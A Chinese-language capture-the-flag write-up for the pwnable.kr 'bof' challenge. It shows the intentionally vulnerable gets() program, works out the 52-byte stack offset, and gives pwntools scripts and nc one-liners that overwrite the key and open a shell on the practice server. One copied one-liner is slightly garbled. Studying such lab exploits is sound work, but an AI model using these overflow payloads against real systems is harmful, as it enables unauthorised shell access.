pwnable-kr3-bof


title: pwnable.kr3-bof
date: 2019-04-07 19:29:23
tags:

categories: pwn

解题

源代码在bof.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

我们可以看出只要让func的参数key==0xcafebabe就ok了
我们还得到一个名为bof的文件,用ida打开,查看func函数

我们看到,这个传入的值确是已经被程序写死了,即给定了一个数(0xdeadbeef),所以我们要想办法把这个参数的值改成我们想要的。

跟着网上题解思路:

但是我们再往下看,会发现有一个函数gets,我想这个函数是很明显的一个漏洞函数了,因为它读入数据的时候,不检查缓冲区的界限,很容易造成缓冲区溢出漏洞,所以我们一般用fgets函数来代替它。再联系一下题目中的 Nana told me that buffer overflow is one of the most common software vulnerability.,没错了,问题就出在这里。
我们可以通过往gets函数中输入足够多的数据,使缓冲区溢出,用我们输入的0xcafebabe覆盖之前压进栈的参数,就get 到 flag 啦~

这里可以学到 gets函数

之后的问题就是我们需要知道往gets里面塞多少个数,才能刚好把我们想要的数覆盖在那个参数上面

gdb调试

大佬说了,用gdb调试,那我们就依葫芦画瓢

我们先输入start将程序运行起来
然后输入disassemble func来查看一下被调用函数func反汇编代码

看来start不起来,试着直接反汇编,成功

我们可以找到熟悉的数字0xcafebabe


给权限后

自己操作的时候有错,因此下面用网上的图和文字

A的ASCLL值为41,可以看出,我们要覆盖的地址与输入地址相差52个字节.
x /40xw $esp (x:以十六进制显示 w:以4字节为一个单位显示)
来查看从断点处起的40字节的内存值,由于esp是我们的程序流指针,其里面保存了程序在func栈中运行时的内存的变化


我们可以发现从第一个出现0x41的地方,到我们的0xdeadbeef距离是13个单位,一个单位是4字节,也就是我们的偏移量为52个字节。

于是,只要我们构造出52个字节然后加上0xcafebabe,用它来覆盖0xdeadbeef即可
由于题目中提醒我们最后 Running at : nc pwnable.kr 9000
所以我们来写我们的exp

1
2
3
4
from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()


汇编解法

文1

这篇利用ida 看汇编代码解的

这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。

我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。

gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的…)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在cmp语句(条件判断语句) 里面找,因为 if (key == 0x….) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。
来源:https://blog.csdn.net/x1020915098/article/details/80917320

文2


首先来看

lea eax =ebx +s

s=2CH = 16*2+ 12=44

同时 cmp ebp +arg_0 然后比较 0CA啥啥的。

也就是说 需要覆盖的其实是44 + 8 因为arg_0 ==8

数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节

所以需要 52个字节 + 0xcafebabe

代码

1
2
3
4
5
# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()

原文:https://blog.csdn.net/qq_35396598/article/details/85320322

栈的寄存器(EIP & EBP & ESP)

EIP & EBP & ESP

eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。
EAX 是”累加器”(accumulator), 它是很多加法乘法指令的缺省寄存器。

EBX 是”基地址”(base)寄存器, 在内存寻址时存放基地址。

ECX 是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。

EDX 则总是被用来放整数除法产生的余数。

ESI/EDI分别叫做”源/目标索引寄存器”(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串.

EBP是”基址指针”(BASE POINTER), 它最经常被用作高级语言函数调用的”框架指针”(frame pointer). 在破解的时候,经常可以看见一个标准的函数起始代码

ESP 专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。

esp:寄存器存放当前线程的栈顶指针
ebp:寄存器存放当前线程的栈底指针
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

栈的原理

先写个小程序:
void fun(void)
{
printf(“hello world”);
}
void main(void)
{
fun()
printf(“函数调用结束”);
}
这是一个再简单不过的函数调用的例子了。
当程序进行函数调用的时候,我们经常说的是先将函数压栈,当函数调用结束后,再出栈。这一切的工作都是系统帮我们自动完成的。
但在完成的过程中,系统会用到下面三种寄存器:
1.EIP
2.ESP
3.EBP
当调用fun函数开始时,三者的作用。
1.EIP寄存器里存储的是CPU下次要执行的指令的地址。
也就是调用完fun函数后,让CPU知道应该执行main函数中的printf(”函数调用结束”)语句了。
2.EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
3.ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。
//esp要时刻指向栈顶(动态改变),那么栈底(基地址)(静态不变)由谁保存呢?因此在调用函数之前,先由esp将栈底给ebp保存起来**
当调用fun函数结束后,三者的作用:
1.系统根据EIP寄存器里存储的地址,CPU就能够知道函数调用完,下一步应该做什么,也就是应该执行main函数中的printf(“函数调用结束”)。
2.EBP寄存器存储的是栈底地址,而这个地址是由ESP在函数调用前传递给EBP的。等到调用结束,EBP会把其地址再次传回给ESP。所以ESP又一次指向了函数调用结束后,栈顶的地址。
其实我们对这个只需要知道三个指针是什么就可以,可能对我们以后学习栈溢出的问题以及看栈这方面的书籍有些帮助。当有人再给你说EIP,ESP,EBP的时候,你不能一头雾水,那你水平就显得洼了许多。其实不知道我们照样可以编程,因为我们是C级别的程序员,而不是ASM级别的程序员

摘自:https://blog.csdn.net/chenlycly/article/details/37912755


另一个文章给出的是这样的命令原文:
另外,编译时,启用了canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。

命令:(python -c ‘print(“a”52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))’; cat) | nc pwnable.kr 9000
PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell
输入命令
(python -c “print ‘A’
52+’\xbe\xba\xfe\xca’”;cat) | nc pwnable.kr 9000

总结:

gets函数 是一个漏洞函数,要利用起来
使用gdb调试
可以使用ll 命令来查看当前文件夹下的文件的权限
是否有 执行权限-x


原文:https://blog.csdn.net/qq_37414405/article/details/84960283